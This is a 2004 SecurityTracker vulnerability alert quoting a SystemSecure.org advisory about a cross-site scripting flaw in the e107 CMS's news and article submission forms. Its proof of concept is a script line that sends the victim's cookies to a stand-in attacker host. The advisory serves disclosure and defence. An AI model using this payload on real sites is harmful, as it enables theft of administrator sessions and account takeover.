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Category:   Application (Forum/Board/Portal)  >   e107 website system Vendors:   e107.org
e107 Input Validation Bug in 'News Submit' and 'Article Submit' Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1010084
SecurityTracker URL:  http://securitytracker.com/id/1010084
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 6 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  

Description:   SmOk3 of SystemSecure.org reported an input vulnerability in e107 in the 'news submit' and 'article submit' functions. A remote user can conduct cross-site scripting attacks.

It is reported that the software does not filter HTML code from the 'login name/author' field. A remote user can submit specially crafted text so that when a target user views the message, arbitrary scripting code will be executed by the target user's browser. The code will originate from the site running the e107 software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

This flaw can be exploited to steal an administrator's authentication cookies, the report said.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the e107 software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   The vendor has reportedly issued a fix.

[Editor's note: We could not find a clear reference to a fix in the ChangeLog for the latest version available at the time of this entry (v.615).]

Vendor URL:  www.e107.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  e107 CMS vulnerabilty



# SystemSecure dot org # _ advisory

Product: e107 v0.614 and prior versions (www.e107.org <http://www.e107.org>)
Author: SmOk3 <smok3_at_systemsecure.org>
Thanks: z0mbi3 <z0mbi3_at_systemsecure.org>
            BrainRawt <brainrawt_at_haxworx.com>

Introduction:
e107 is a portal / content management system powered by PHP
and mySQL that gives you a totally dynamic and professional
website out of the box.

Details:
e107 suffers from an cross site scripting attack on the
"news submit" and in "article submit". A user can run html
or javascript code in the "login name/author". This can be
used, for example, to steal admin's cookie when he try's to
review the news or article. This method doesn't work if you
are logged in. Must be done in guest mode.

PoC:
<script>document.location="http://evilhost.ss/cgi-bin/evil-logger.cgi?'+document.cookie</script 

<http://evilhost.ss/cgi-bin/evil-logger.cgi?'+document.cookie</script>>

It will get the admins cookie and write it in your server.


Vendor:
Patched the vulnerability...

 
 


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